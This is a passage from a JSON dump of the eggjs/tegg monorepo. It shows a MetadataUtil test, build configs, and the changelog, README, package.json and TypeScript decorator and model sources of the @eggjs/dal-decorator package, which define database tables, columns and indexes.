    "content": "import assert from 'node:assert';\n\nimport { describe, it } from 'vitest';\n\nimport { MetadataUtil } from '../../src/index.js';\n\nclass Parent {}\n\nclass Child extends Parent {}\n\ndescribe('test/util/MetadataUtil.test.ts', () => {\n  describe('initOwnArrayMetaData', () => {\n    it('class extends should work', () => {\n      const TEST_KEY = 'test_array_key';\n      const parentVal: string[] = MetadataUtil.initOwnArrayMetaData(TEST_KEY, Parent, []);\n      parentVal.push('parent_data');\n      const childVal: string[] = MetadataUtil.initOwnArrayMetaData(TEST_KEY, Child, []);\n      assert.deepStrictEqual(childVal, ['parent_data']);\n    });\n  });\n\n  describe('initOwnMapMetaData', () => {\n    it('class extends should work', () => {\n      const TEST_KEY = 'test_map_key';\n      const parentVal: Map<string, string> = MetadataUtil.initOwnMapMetaData(TEST_KEY, Parent, new Map());\n      parentVal.set('parent_data_key', 'parent_data_key');\n      const childVal: Map<string, string> = MetadataUtil.initOwnMapMetaData(TEST_KEY, Child, new Map());\n      assert(childVal.get('parent_data_key') === 'parent_data_key');\n    });\n  });\n});\n"
  },
  {
    "path": "tegg/core/core-decorator/tsconfig.json",
    "content": "{\n  \"extends\": \"../../../tsconfig.json\"\n}\n"
  },
  {
    "path": "tegg/core/core-decorator/tsdown.config.ts",
    "content": "import { defineConfig } from 'tsdown';\n\nexport default defineConfig({\n  entry: {\n    index: 'src/index.ts',\n  },\n});\n"
  },
  {
    "path": "tegg/core/dal-decorator/CHANGELOG.md",
    "content": "# Changelog\n\n> [!IMPORTANT]\n> Moving forwards we are using the GitHub releases page at <https://github.com/eggjs/egg/releases> in combination with [release.yml](https://github.com/eggjs/egg/actions/workflows/release.yml) for publishing releases and their changelogs.\n\n---\n\n## 4.0.0+\n\n* drop Node.js < 22.18.0 support\n* only support egg@4\n\npart of https://github.com/eggjs/egg/issues/5434\n\n---\n\n\nAll notable changes to this project will be documented in this file.\nSee [Conventional Commits](https://conventionalcommits.org) for commit guidelines.\n\n# [4.0.0-beta.4](https://github.com/eggjs/tegg/compare/v4.0.0-beta.3...v4.0.0-beta.4) (2025-03-15)\n\n**Note:** Version bump only for package @eggjs/dal-decorator\n\n\n\n\n\n# [4.0.0-beta.3](https://github.com/eggjs/tegg/compare/v4.0.0-beta.2...v4.0.0-beta.3) (2025-03-15)\n\n**Note:** Version bump only for package @eggjs/dal-decorator\n\n\n\n\n\n# [4.0.0-beta.2](https://github.com/eggjs/tegg/compare/v4.0.0-beta.1...v4.0.0-beta.2) (2025-03-03)\n\n**Note:** Version bump only for package @eggjs/dal-decorator\n\n\n\n\n\n# [4.0.0-beta.1](https://github.com/eggjs/tegg/compare/v3.52.0...v4.0.0-beta.1) (2025-03-02)\n\n\n### Features\n\n* **core/types:** change to esm ([#263](https://github.com/eggjs/tegg/issues/263)) ([6ee4dad](https://github.com/eggjs/tegg/commit/6ee4dadcee4b90541b4d3fcd37161ed63960c7bd))\n\n\n\n\n\n# [3.52.0](https://github.com/eggjs/tegg/compare/v3.51.2...v3.52.0) (2024-12-30)\n\n**Note:** Version bump only for package @eggjs/dal-decorator\n\n\n\n\n\n## [3.51.2](https://github.com/eggjs/tegg/compare/v3.51.1...v3.51.2) (2024-12-09)\n\n**Note:** Version bump only for package @eggjs/dal-decorator\n\n\n\n\n\n## [3.51.1](https://github.com/eggjs/tegg/compare/v3.51.0...v3.51.1) (2024-11-06)\n\n**Note:** Version bump only for package @eggjs/dal-decorator\n\n\n\n\n\n# [3.51.0](https://github.com/eggjs/tegg/compare/v3.50.1...v3.51.0) (2024-10-30)\n\n**Note:** Version bump only for package @eggjs/dal-decorator\n\n\n\n\n\n## [3.50.1](https://github.com/eggjs/tegg/compare/v3.50.0...v3.50.1) (2024-10-23)\n\n**Note:** Version bump only for package @eggjs/dal-decorator\n\n\n\n\n\n# [3.50.0](https://github.com/eggjs/tegg/compare/v3.49.0...v3.50.0) (2024-10-22)\n\n**Note:** Version bump only for package @eggjs/dal-decorator\n\n\n\n\n\n# [3.49.0](https://github.com/eggjs/tegg/compare/v3.48.1...v3.49.0) (2024-10-21)\n\n**Note:** Version bump only for package @eggjs/dal-decorator\n\n\n\n\n\n## [3.48.1](https://github.com/eggjs/tegg/compare/v3.48.0...v3.48.1) (2024-10-14)\n\n**Note:** Version bump only for package @eggjs/dal-decorator\n\n\n\n\n\n# [3.48.0](https://github.com/eggjs/tegg/compare/v3.47.2...v3.48.0) (2024-10-10)\n\n**Note:** Version bump only for package @eggjs/dal-decorator\n\n\n\n\n\n## [3.47.2](https://github.com/eggjs/tegg/compare/v3.47.1...v3.47.2) (2024-10-10)\n\n**Note:** Version bump only for package @eggjs/dal-decorator\n\n\n\n\n\n## [3.47.1](https://github.com/eggjs/tegg/compare/v3.47.0...v3.47.1) (2024-10-10)\n\n**Note:** Version bump only for package @eggjs/dal-decorator\n\n\n\n\n\n# [3.47.0](https://github.com/eggjs/tegg/compare/v3.46.4...v3.47.0) (2024-10-10)\n\n**Note:** Version bump only for package @eggjs/dal-decorator\n\n\n\n\n\n## [3.46.4](https://github.com/eggjs/tegg/compare/v3.46.3...v3.46.4) (2024-10-09)\n\n**Note:** Version bump only for package @eggjs/dal-decorator\n\n\n\n\n\n## [3.46.3](https://github.com/eggjs/tegg/compare/v3.46.2...v3.46.3) (2024-10-08)\n\n**Note:** Version bump only for package @eggjs/dal-decorator\n\n\n\n\n\n## [3.46.2](https://github.com/eggjs/tegg/compare/v3.46.1...v3.46.2) (2024-10-07)\n\n**Note:** Version bump only for package @eggjs/dal-decorator\n\n\n\n\n\n## [3.46.1](https://github.com/eggjs/tegg/compare/v3.46.0...v3.46.1) (2024-09-30)\n\n**Note:** Version bump only for package @eggjs/dal-decorator\n\n\n\n\n\n# [3.46.0](https://github.com/eggjs/tegg/compare/v3.45.0...v3.46.0) (2024-09-29)\n\n**Note:** Version bump only for package @eggjs/dal-decorator\n\n\n\n\n\n# [3.45.0](https://github.com/eggjs/tegg/compare/v3.44.1...v3.45.0) (2024-09-29)\n\n**Note:** Version bump only for package @eggjs/dal-decorator\n\n\n\n\n\n## [3.44.1](https://github.com/eggjs/tegg/compare/v3.44.0...v3.44.1) (2024-09-29)\n\n\n### Bug Fixes\n\n* fix DataSourceQualifier ([#238](https://github.com/eggjs/tegg/issues/238)) ([7b1ebe7](https://github.com/eggjs/tegg/commit/7b1ebe718736d93e548f531bf99c5d2d38b41046))\n\n\n\n\n\n# [3.44.0](https://github.com/eggjs/tegg/compare/v3.43.2...v3.44.0) (2024-09-29)\n\n\n### Features\n\n* support inject in constructor ([#237](https://github.com/eggjs/tegg/issues/237)) ([e68b1ed](https://github.com/eggjs/tegg/commit/e68b1ed6a90432f1cb35a6f562914b7b04cb5114))\n\n\n\n\n\n## [3.43.2](https://github.com/eggjs/tegg/compare/v3.43.1...v3.43.2) (2024-09-14)\n\n**Note:** Version bump only for package @eggjs/dal-decorator\n\n\n\n\n\n## [3.43.1](https://github.com/eggjs/tegg/compare/v3.43.0...v3.43.1) (2024-09-14)\n\n**Note:** Version bump only for package @eggjs/dal-decorator\n\n\n\n\n\n# [3.43.0](https://github.com/eggjs/tegg/compare/v3.42.0...v3.43.0) (2024-09-13)\n\n**Note:** Version bump only for package @eggjs/dal-decorator\n\n\n\n\n\n# [3.42.0](https://github.com/eggjs/tegg/compare/v3.41.0...v3.42.0) (2024-09-10)\n\n**Note:** Version bump only for package @eggjs/dal-decorator\n\n\n\n\n\n# [3.41.0](https://github.com/eggjs/tegg/compare/v3.40.1...v3.41.0) (2024-08-26)\n\n**Note:** Version bump only for package @eggjs/dal-decorator\n\n\n\n\n\n## [3.40.1](https://github.com/eggjs/tegg/compare/v3.40.0...v3.40.1) (2024-08-23)\n\n**Note:** Version bump only for package @eggjs/dal-decorator\n\n\n\n\n\n# [3.40.0](https://github.com/eggjs/tegg/compare/v3.39.5...v3.40.0) (2024-08-22)\n\n**Note:** Version bump only for package @eggjs/dal-decorator\n\n\n\n\n\n## [3.39.5](https://github.com/eggjs/tegg/compare/v3.39.4...v3.39.5) (2024-08-09)\n\n\n### Bug Fixes\n\n* generate index name with column name ([#230](https://github.com/eggjs/tegg/issues/230)) ([82ec72d](https://github.com/eggjs/tegg/commit/82ec72d4fb8628c847b32d0ddf23a95119ca6ccf))\n\n\n\n\n\n## [3.39.4](https://github.com/eggjs/tegg/compare/v3.39.3...v3.39.4) (2024-07-09)\n\n**Note:** Version bump only for package @eggjs/dal-decorator\n\n\n\n\n\n## [3.39.3](https://github.com/eggjs/tegg/compare/v3.39.2...v3.39.3) (2024-04-28)\n\n\n### Bug Fixes\n\n* mount clazzExtension/clazzExtension/tableSql to BaseDao ([#220](https://github.com/eggjs/tegg/issues/220)) ([ac322cf](https://github.com/eggjs/tegg/commit/ac322cfc4100841a1483b04b99e04d553af323eb))\n\n\n\n\n\n## [3.39.2](https://github.com/eggjs/tegg/compare/v3.39.1...v3.39.2) (2024-04-28)\n\n**Note:** Version bump only for package @eggjs/dal-decorator\n\n\n\n\n\n## [3.39.1](https://github.com/eggjs/tegg/compare/v3.39.0...v3.39.1) (2024-04-28)\n\n**Note:** Version bump only for package @eggjs/dal-decorator\n\n\n\n\n\n# [3.39.0](https://github.com/eggjs/tegg/compare/v3.38.0...v3.39.0) (2024-04-19)\n\n**Note:** Version bump only for package @eggjs/dal-decorator\n\n\n\n\n\n# [3.38.0](https://github.com/eggjs/tegg/compare/v3.37.3...v3.38.0) (2024-04-18)\n\n**Note:** Version bump only for package @eggjs/dal-decorator\n\n\n\n\n\n## [3.37.3](https://github.com/eggjs/tegg/compare/v3.37.2...v3.37.3) (2024-04-17)\n\n**Note:** Version bump only for package @eggjs/dal-decorator\n\n\n\n\n\n## [3.37.2](https://github.com/eggjs/tegg/compare/v3.37.1...v3.37.2) (2024-04-17)\n\n**Note:** Version bump only for package @eggjs/dal-decorator\n\n\n\n\n\n## [3.37.1](https://github.com/eggjs/tegg/compare/v3.37.0...v3.37.1) (2024-04-16)\n\n**Note:** Version bump only for package @eggjs/dal-decorator\n\n\n\n\n\n# [3.37.0](https://github.com/eggjs/tegg/compare/v3.36.3...v3.37.0) (2024-04-16)\n\n**Note:** Version bump only for package @eggjs/dal-decorator\n\n\n\n\n\n## [3.36.3](https://github.com/eggjs/tegg/compare/v3.36.2...v3.36.3) (2024-04-10)\n\n**Note:** Version bump only for package @eggjs/dal-decorator\n\n\n\n\n\n## [3.36.2](https://github.com/eggjs/tegg/compare/v3.36.1...v3.36.2) (2024-04-08)\n\n**Note:** Version bump only for package @eggjs/dal-decorator\n\n\n\n\n\n## [3.36.1](https://github.com/eggjs/tegg/compare/v3.36.0...v3.36.1) (2024-04-07)\n\n**Note:** Version bump only for package @eggjs/dal-decorator\n\n\n\n\n\n# [3.36.0](https://github.com/eggjs/tegg/compare/v3.35.1...v3.36.0) (2024-04-02)\n\n\n### Features\n\n* impl Date/timestamp on update ([#203](https://github.com/eggjs/tegg/issues/203)) ([e5c7b8d](https://github.com/eggjs/tegg/commit/e5c7b8d529f2854b77de2e99369c781a4ea9e070))\n\n\n\n\n\n## [3.35.1](https://github.com/eggjs/tegg/compare/v3.35.0...v3.35.1) (2024-03-26)\n\n**Note:** Version bump only for package @eggjs/dal-decorator\n\n\n\n\n\n# [3.35.0](https://github.com/eggjs/tegg/compare/v3.34.0...v3.35.0) (2024-03-26)\n\n\n### Features\n\n* dal-runtime templates support pkg alias ([#198](https://github.com/eggjs/tegg/issues/198)) ([cecef78](https://github.com/eggjs/tegg/commit/cecef781bd134b629fc835063a351460aceb340c))\n\n\n\n\n\n# [3.34.0](https://github.com/eggjs/tegg/compare/v3.33.1...v3.34.0) (2024-03-22)\n\n**Note:** Version bump only for package @eggjs/dal-decorator\n\n\n\n\n\n## [3.33.1](https://github.com/eggjs/tegg/compare/v3.33.0...v3.33.1) (2024-03-22)\n\n**Note:** Version bump only for package @eggjs/dal-decorator\n\n\n\n\n\n# [3.33.0](https://github.com/eggjs/tegg/compare/v3.32.0...v3.33.0) (2024-03-22)\n\n\n### Bug Fixes\n\n* set column canNull default to false ([#195](https://github.com/eggjs/tegg/issues/195)) ([24628ec](https://github.com/eggjs/tegg/commit/24628ec5a3cd167dc44a50017450d0dedec2c9ce))\n\n\n### Features\n\n* impl dal ([#192](https://github.com/eggjs/tegg/issues/192)) ([1c7d145](https://github.com/eggjs/tegg/commit/1c7d1454bc8c600cd58c3ec7b9cda4e8a98c7287))\n"
  },
  {
    "path": "tegg/core/dal-decorator/README.md",
    "content": "# `@eggjs/dal-decorator`\n\n[![NPM version][npm-image]][npm-url]\n[![Known Vulnerabilities][snyk-image]][snyk-url]\n[![npm download][download-image]][download-url]\n[![Node.js Version](https://img.shields.io/node/v/@eggjs/dal-decorator.svg?style=flat)](https://nodejs.org/en/download/)\n\n[npm-image]: https://img.shields.io/npm/v/@eggjs/dal-decorator.svg?style=flat-square\n[npm-url]: https://npmjs.org/package/@eggjs/dal-decorator\n[snyk-image]: https://snyk.io/test/npm/@eggjs/dal-decorator/badge.svg?style=flat-square\n[snyk-url]: https://snyk.io/test/npm/@eggjs/dal-decorator\n[download-image]: https://img.shields.io/npm/dm/@eggjs/dal-decorator.svg?style=flat-square\n[download-url]: https://npmjs.org/package/@eggjs/dal-decorator\n\n## Usage\n\nPlease read [@eggjs/dal-plugin](../../plugin/dal/README.md)\n"
  },
  {
    "path": "tegg/core/dal-decorator/package.json",
    "content": "{\n  \"name\": \"@eggjs/dal-decorator\",\n  \"version\": \"4.0.2-beta.5\",\n  \"description\": \"tegg dal decorator\",\n  \"keywords\": [\n    \"dal\",\n    \"decorator\",\n    \"egg\",\n    \"tegg\",\n    \"typescript\"\n  ],\n  \"homepage\": \"https://github.com/eggjs/egg/tree/next/tegg/core/dal-decorator\",\n  \"bugs\": {\n    \"url\": \"https://github.com/eggjs/egg/issues\"\n  },\n  \"license\": \"MIT\",\n  \"author\": \"killagu <killa123@126.com>\",\n  \"repository\": {\n    \"type\": \"git\",\n    \"url\": \"git+https://github.com/eggjs/egg.git\",\n    \"directory\": \"tegg/core/dal-decorator\"\n  },\n  \"files\": [\n    \"dist\"\n  ],\n  \"type\": \"module\",\n  \"main\": \"./dist/index.js\",\n  \"module\": \"./dist/index.js\",\n  \"types\": \"./dist/index.d.ts\",\n  \"exports\": {\n    \".\": \"./src/index.ts\",\n    \"./package.json\": \"./package.json\"\n  },\n  \"publishConfig\": {\n    \"access\": \"public\",\n    \"exports\": {\n      \".\": \"./dist/index.js\",\n      \"./package.json\": \"./package.json\"\n    }\n  },\n  \"scripts\": {\n    \"typecheck\": \"tsgo --noEmit\"\n  },\n  \"dependencies\": {\n    \"@eggjs/core-decorator\": \"workspace:*\",\n    \"@eggjs/rds\": \"catalog:\",\n    \"@eggjs/tegg-common-util\": \"workspace:*\",\n    \"@eggjs/tegg-types\": \"workspace:*\",\n    \"lodash.snakecase\": \"catalog:\",\n    \"pluralize\": \"catalog:\"\n  },\n  \"devDependencies\": {\n    \"@types/lodash.snakecase\": \"catalog:\",\n    \"@types/node\": \"catalog:\",\n    \"@types/pluralize\": \"catalog:\",\n    \"typescript\": \"catalog:\"\n  },\n  \"engines\": {\n    \"node\": \">=22.18.0\"\n  }\n}\n"
  },
  {
    "path": "tegg/core/dal-decorator/src/decorator/Column.ts",
    "content": "import assert from 'node:assert';\n\nimport type { ColumnParams, ColumnTypeParams, EggProtoImplClass } from '@eggjs/tegg-types';\n\nimport { ColumnInfoUtil } from '../util/index.ts';\n\nexport function Column(type: ColumnTypeParams, params?: ColumnParams) {\n  return function (target: any, propertyKey: PropertyKey): void {\n    assert(\n      typeof propertyKey === 'string',\n      `[Column/${target.name}] expect column name be typeof string, but now is ${String(propertyKey)}`,\n    );\n    const tableClazz = target.constructor as EggProtoImplClass;\n    const columnName = propertyKey as string;\n    ColumnInfoUtil.addColumnType(tableClazz, columnName, type);\n    if (params) {\n      ColumnInfoUtil.addColumnInfo(tableClazz, columnName, params);\n    }\n  };\n}\n"
  },
  {
    "path": "tegg/core/dal-decorator/src/decorator/Dao.ts",
    "content": "import { Prototype, PrototypeUtil } from '@eggjs/core-decorator';\nimport { StackUtil } from '@eggjs/tegg-common-util';\nimport { AccessLevel, ObjectInitType } from '@eggjs/tegg-types';\nimport type { EggProtoImplClass } from '@eggjs/tegg-types';\n\nimport { DaoInfoUtil } from '../util/index.ts';\n\nexport function Dao() {\n  return function (constructor: EggProtoImplClass): void {\n    DaoInfoUtil.setIsDao(constructor);\n    const func = Prototype({\n      accessLevel: AccessLevel.PUBLIC,\n      initType: ObjectInitType.SINGLETON,\n    });\n    func(constructor);\n    PrototypeUtil.setFilePath(constructor, StackUtil.getCalleeFromStack(false, 5));\n  };\n}\n"
  },
  {
    "path": "tegg/core/dal-decorator/src/decorator/DataSourceQualifier.ts",
    "content": "import { QualifierUtil } from '@eggjs/core-decorator';\nimport { DataSourceQualifierAttribute } from '@eggjs/tegg-types';\n\nexport function DataSourceQualifier(dataSourceName: string) {\n  return function (target: any, propertyKey: PropertyKey, parameterIndex?: number): void {\n    QualifierUtil.addInjectQualifier(target, propertyKey, parameterIndex, DataSourceQualifierAttribute, dataSourceName);\n  };\n}\n"
  },
  {
    "path": "tegg/core/dal-decorator/src/decorator/Table.ts",
    "content": "import { Prototype, PrototypeUtil } from '@eggjs/core-decorator';\nimport { StackUtil } from '@eggjs/tegg-common-util';\nimport { AccessLevel, ObjectInitType } from '@eggjs/tegg-types';\nimport type { EggProtoImplClass, TableParams } from '@eggjs/tegg-types';\n\nimport { TableInfoUtil } from '../util/index.ts';\n\nexport function Table(params?: TableParams) {\n  return function (constructor: EggProtoImplClass): void {\n    TableInfoUtil.setIsTable(constructor);\n    if (params) {\n      TableInfoUtil.setTableParams(constructor, params);\n    }\n    const func = Prototype({\n      accessLevel: AccessLevel.PUBLIC,\n      initType: ObjectInitType.ALWAYS_NEW,\n    });\n    func(constructor);\n    PrototypeUtil.setFilePath(constructor, StackUtil.getCalleeFromStack(false, 5));\n  };\n}\n"
  },
  {
    "path": "tegg/core/dal-decorator/src/decorator/TableIndex.ts",
    "content": "import type { EggProtoImplClass, IndexParams } from '@eggjs/tegg-types';\n\nimport { IndexInfoUtil } from '../util/index.ts';\n\nexport function Index(params: IndexParams) {\n  return function (constructor: EggProtoImplClass): void {\n    IndexInfoUtil.addIndex(constructor, params);\n  };\n}\n"
  },
  {
    "path": "tegg/core/dal-decorator/src/decorator/index.ts",
    "content": "export * from './Column.ts';\nexport * from './Dao.ts';\nexport * from './DataSourceQualifier.ts';\nexport * from './Table.ts';\nexport * from './TableIndex.ts';\n"
  },
  {
    "path": "tegg/core/dal-decorator/src/index.ts",
    "content": "export * from '@eggjs/tegg-types/dal';\n\nexport * from './decorator/index.ts';\nexport * from './model/index.ts';\nexport * from './type/index.ts';\nexport * from './util/index.ts';\n"
  },
  {
    "path": "tegg/core/dal-decorator/src/model/ColumnModel.ts",
    "content": "import type { ColumnFormat, ColumnParams, ColumnTypeParams } from '@eggjs/tegg-types';\nimport snakecase from 'lodash.snakecase';\n\nexport class ColumnModel {\n  columnName: string;\n  propertyName: string;\n  type: ColumnTypeParams;\n  canNull: boolean;\n  default?: string;\n  comment?: string;\n  visible?: boolean;\n  autoIncrement?: boolean;\n  uniqueKey?: boolean;\n  primaryKey?: boolean;\n  collate?: string;\n  columnFormat?: ColumnFormat;\n  engineAttribute?: string;\n  secondaryEngineAttribute?: string;\n\n  constructor(params: {\n    columnName: string;\n    propertyName: string;\n    type: ColumnTypeParams;\n    canNull: boolean;\n    default?: string;\n    comment?: string;\n    visible?: boolean;\n    autoIncrement?: boolean;\n    uniqueKey?: boolean;\n    primaryKey?: boolean;\n    collate?: string;\n    columnFormat?: ColumnFormat;\n    engineAttribute?: string;\n    secondaryEngineAttribute?: string;\n  }) {\n    this.columnName = params.columnName;\n    this.propertyName = params.propertyName;\n    this.type = params.type;\n    this.canNull = params.canNull;\n    this.default = params.default;\n    this.comment = params.comment;\n    this.visible = params.visible;\n    this.autoIncrement = params.autoIncrement;\n    this.uniqueKey = params.uniqueKey;\n    this.primaryKey = params.primaryKey;\n    this.collate = params.collate;\n    this.columnFormat = params.columnFormat;\n    this.engineAttribute = params.engineAttribute;\n    this.secondaryEngineAttribute = params.secondaryEngineAttribute;\n  }\n\n  static build(property: string, type: ColumnTypeParams, params?: ColumnParams): ColumnModel {\n    const columnName = params?.name ?? snakecase(property);\n    let canNull = params?.canNull ?? false;\n    if (params?.primaryKey) {\n      canNull = false;\n    }\n    return new ColumnModel({\n      columnName,\n      propertyName: property,\n      type,\n      canNull,\n      default: params?.default,\n      comment: params?.comment,\n      visible: params?.visible,\n      autoIncrement: params?.autoIncrement,\n      uniqueKey: params?.uniqueKey,\n      primaryKey: params?.primaryKey,\n      collate: params?.collate,\n      columnFormat: params?.columnFormat,\n      engineAttribute: params?.engineAttribute,\n      secondaryEngineAttribute: params?.secondaryEngineAttribute,\n    });\n  }\n}\n"
  },
  {
    "path": "tegg/core/dal-decorator/src/model/IndexModel.ts",
    "content": "import { type EggProtoImplClass, IndexType } from '@eggjs/tegg-types';\nimport type { IndexParams, IndexStoreType } from '@eggjs/tegg-types';\n\nimport { ColumnModel } from './ColumnModel.ts';\n\nexport interface IndexKey {\n  columnName: string;\n  propertyName: string;\n}\n\nexport class IndexModel {\n  name: string;\n  keys: IndexKey[];\n  type: IndexType;\n\n  storeType?: IndexStoreType;\n  comment?: string;\n  engineAttribute?: string;\n  secondaryEngineAttribute?: string;\n  parser?: string;\n\n  constructor(params: {\n    name: string;\n    keys: IndexKey[];\n    type: IndexType;\n    storeType?: IndexStoreType;\n    comment?: string;\n    engineAttribute?: string;\n    secondaryEngineAttribute?: string;\n    parser?: string;\n  }) {\n    this.name = params.name;\n    this.keys = params.keys;\n    this.type = params.type;\n    this.storeType = params.storeType;\n    this.comment = params.comment;\n    this.engineAttribute = params.engineAttribute;\n    this.secondaryEngineAttribute = params.secondaryEngineAttribute;\n    this.parser = params.parser;\n  }\n\n  static buildIndexName(keys: string[], type: IndexType): string {\n    const prefix = type === IndexType.UNIQUE ? 'uk_' : 'idx_';\n    return prefix + keys.join('_');\n  }\n\n  static build(params: IndexParams, columns: ColumnModel[], clazz: EggProtoImplClass<unknown>): IndexModel {\n    const type = params.type ?? IndexType.INDEX;\n    const keys: Array<IndexKey> = params.keys.map((t) => {\n      const column = columns.find((c) => c.propertyName === t);\n      if (!column) {\n        throw new Error(`Table ${clazz.name} index configuration error: has no property named \"${t}\"`);\n      }\n      return {\n        propertyName: column!.propertyName,\n        columnName: column!.columnName,\n      };\n    });\n    const name =\n      params.name ??\n      IndexModel.buildIndexName(\n        keys.map((t) => t.columnName),\n        type,\n      );\n    return new IndexModel({\n      name,\n      keys,\n      type,\n      storeType: params.storeType,\n      comment: params.comment,\n      engineAttribute: params.engineAttribute,\n      secondaryEngineAttribute: params.secondaryEngineAttribute,\n      parser: params.parser,\n    });\n  }\n}\n"
  },
  {
    "path": "tegg/core/dal-decorator/src/model/TableModel.ts",
    "content": "import assert from 'node:assert';\n\nimport { IndexType } from '@eggjs/tegg-types';\nimport type { CompressionType, EggProtoImplClass, InsertMethod, RowFormat } from '@eggjs/tegg-types';\nimport snakecase from 'lodash.snakecase';\nimport pluralize from 'pluralize';\n\nimport { TableInfoUtil, ColumnInfoUtil, IndexInfoUtil } from '../util/index.ts';\nimport { ColumnModel } from './ColumnModel.ts';\nimport { IndexModel } from './IndexModel.ts';\n\nexport class TableModel<T = object> {\n  clazz: EggProtoImplClass<T>;\n  name: string;\n  columns: Array<ColumnModel>;\n  indices: Array<IndexModel>;\n  dataSourceName: string;\n  comment?: string;\n  autoExtendSize?: number;\n  autoIncrement?: number;\n  avgRowLength?: number;\n  characterSet?: string;\n  collate?: string;\n  compression?: CompressionType;\n  encryption?: boolean;\n  engine?: string;\n  engineAttribute?: string;\n  insertMethod?: InsertMethod;\n  keyBlockSize?: number;\n  maxRows?: number;\n  minRows?: number;\n  rowFormat?: RowFormat;\n  secondaryEngineAttribute?: string;\n\n  constructor(params: {\n    clazz: EggProtoImplClass<T>;\n    name: string;\n    dataSourceName: string;\n    columns: Array<ColumnModel>;\n    indices: Array<IndexModel>;\n    comment?: string;\n    autoExtendSize?: number;\n    autoIncrement?: number;\n    avgRowLength?: number;\n    characterSet?: string;\n    collate?: string;\n    compression?: CompressionType;\n    encryption?: boolean;\n    engine?: string;\n    engineAttribute?: string;\n    insertMethod?: InsertMethod;\n    keyBlockSize?: number;\n    maxRows?: number;\n    minRows?: number;\n    rowFormat?: RowFormat;\n    secondaryEngineAttribute?: string;\n  }) {\n    this.clazz = params.clazz;\n    this.name = params.name;\n    this.dataSourceName = params.dataSourceName;\n    this.columns = params.columns;\n    this.indices = params.indices;\n    this.comment = params.comment;\n    this.autoExtendSize = params.autoExtendSize;\n    this.autoIncrement = params.autoIncrement;\n    this.avgRowLength = params.avgRowLength;\n    this.characterSet = params.characterSet;\n    this.collate = params.collate;\n    this.compression = params.compression;\n    this.encryption = params.encryption;\n    this.engine = params.engine;\n    this.engineAttribute = params.engineAttribute;\n    this.insertMethod = params.insertMethod;\n    this.keyBlockSize = params.keyBlockSize;\n    this.maxRows = params.maxRows;\n    this.minRows = params.minRows;\n    this.rowFormat = params.rowFormat;\n    this.secondaryEngineAttribute = params.secondaryEngineAttribute;\n  }\n\n  getPrimary(): IndexModel | undefined {\n    const index = this.indices.find((t) => t.type === IndexType.PRIMARY);\n    if (index) {\n      return index;\n    }\n    const primaryColumn = this.columns.filter((t) => t.primaryKey === true);\n    return new IndexModel({\n      name: 'PRIMARY',\n      type: IndexType.PRIMARY,\n      keys: primaryColumn.map((t) => {\n        return {\n          columnName: t.columnName,\n          propertyName: t.propertyName,\n        };\n      }),\n    });\n  }\n\n  static build<T>(clazz: EggProtoImplClass<T>): TableModel<T> {\n    const params = TableInfoUtil.getTableParams(clazz as EggProtoImplClass);\n    const name = params?.name ?? snakecase(pluralize(clazz.name));\n    const columnInfoMap = ColumnInfoUtil.getColumnInfoMap(clazz as EggProtoImplClass);\n    const columnTypeMap = ColumnInfoUtil.getColumnTypeMap(clazz as EggProtoImplClass);\n    const dataSourceName = params?.dataSourceName ?? 'default';\n    assert(TableInfoUtil.getIsTable(clazz as EggProtoImplClass), `${name} is not Table`);\n    assert(columnTypeMap, `${name} has no columns`);\n    const columns: Array<ColumnModel> = [];\n    const indices: Array<IndexModel> = [];\n    for (const [property, columnType] of columnTypeMap?.entries() ?? []) {\n      const columnParam = columnInfoMap?.get(property);\n      columns.push(ColumnModel.build(property, columnType, columnParam));\n    }\n\n    const indexList = IndexInfoUtil.getIndexList(clazz as EggProtoImplClass);\n    for (const index of indexList) {\n      indices.push(IndexModel.build(index, columns, clazz));\n    }\n\n    return new TableModel({\n      clazz,\n      name,\n      columns,\n      indices,\n      dataSourceName,\n\n      comment: params?.comment,\n      autoExtendSize: params?.autoExtendSize,\n      autoIncrement: params?.autoIncrement,\n      avgRowLength: params?.avgRowLength,\n      characterSet: params?.characterSet,\n      collate: params?.collate,\n      compression: params?.compression,\n      encryption: params?.encryption,\n      engine: params?.engine,\n      engineAttribute: params?.engineAttribute,\n      insertMethod: params?.insertMethod,\n      keyBlockSize: params?.keyBlockSize,\n      maxRows: params?.maxRows,\n      minRows: params?.minRows,\n      rowFormat: params?.rowFormat,\n      secondaryEngineAttribute: params?.secondaryEngineAttribute,\n    });\n  }\n}\n"
  },
  {
    "path": "tegg/core/dal-decorator/src/model/index.ts",
    "content": "export * from './ColumnModel.ts';\nexport * from './IndexModel.ts';\nexport * from './TableModel.ts';\n"
  },
  {
    "path": "tegg/core/dal-decorator/src/type/MySql.ts",
    "content": "export type { InsertResult, UpdateResult, DeleteResult } from '@eggjs/rds';\n"
  },
  {
    "path": "tegg/core/dal-decorator/src/type/Spatial.ts",
    "content": "import { ColumnType } from '@eggjs/tegg-types';\nimport type { Geometry, GeometryCollection } from '@eggjs/tegg-types';\n\nexport class SpatialHelper {\n  static isPoint(t: Geometry): boolean {\n    return typeof Reflect.get(t, 'x') === 'number' && typeof Reflect.get(t, 'y') === 'number';\n  }\n\n  static isLine(t: Geometry): boolean {\n    return Array.isArray(t) && t[0] && SpatialHelper.isPoint(t[0]);\n  }\n\n  static isPolygon(t: Geometry): boolean {\n    return Array.isArray(t) && t[0] && SpatialHelper.isLine(t[0]);\n  }\n\n  static getGeometryType(t: Geometry): ColumnType {\n    if (SpatialHelper.isPoint(t)) {\n      return ColumnType.POINT;\n    } else if (SpatialHelper.isLine(t)) {\n      return ColumnType.LINESTRING;\n    }\n    return ColumnType.POLYGON;\n  }\n\n  static isMultiPoint(t: GeometryCollection): boolean {\n    return Array.isArray(t) && t[0] && SpatialHelper.isPoint(t[0]);\n  }\n\n  static isMultiLine(t: GeometryCollection): boolean {\n    return Array.isArray(t) && t[0] && SpatialHelper.isLine(t[0]);\n  }\n\n  static isMultiPolygon(t: GeometryCollection): boolean {\n    return Array.isArray(t) && t[0] && SpatialHelper.isPolygon(t[0]);\n  }\n}\n"
  },
  {
    "path": "tegg/core/dal-decorator/src/type/index.ts",
    "content": "export * from './MySql.ts';\nexport * from './Spatial.ts';\n"
  },
  {
    "path": "tegg/core/dal-decorator/src/util/ColumnInfoUtil.ts",
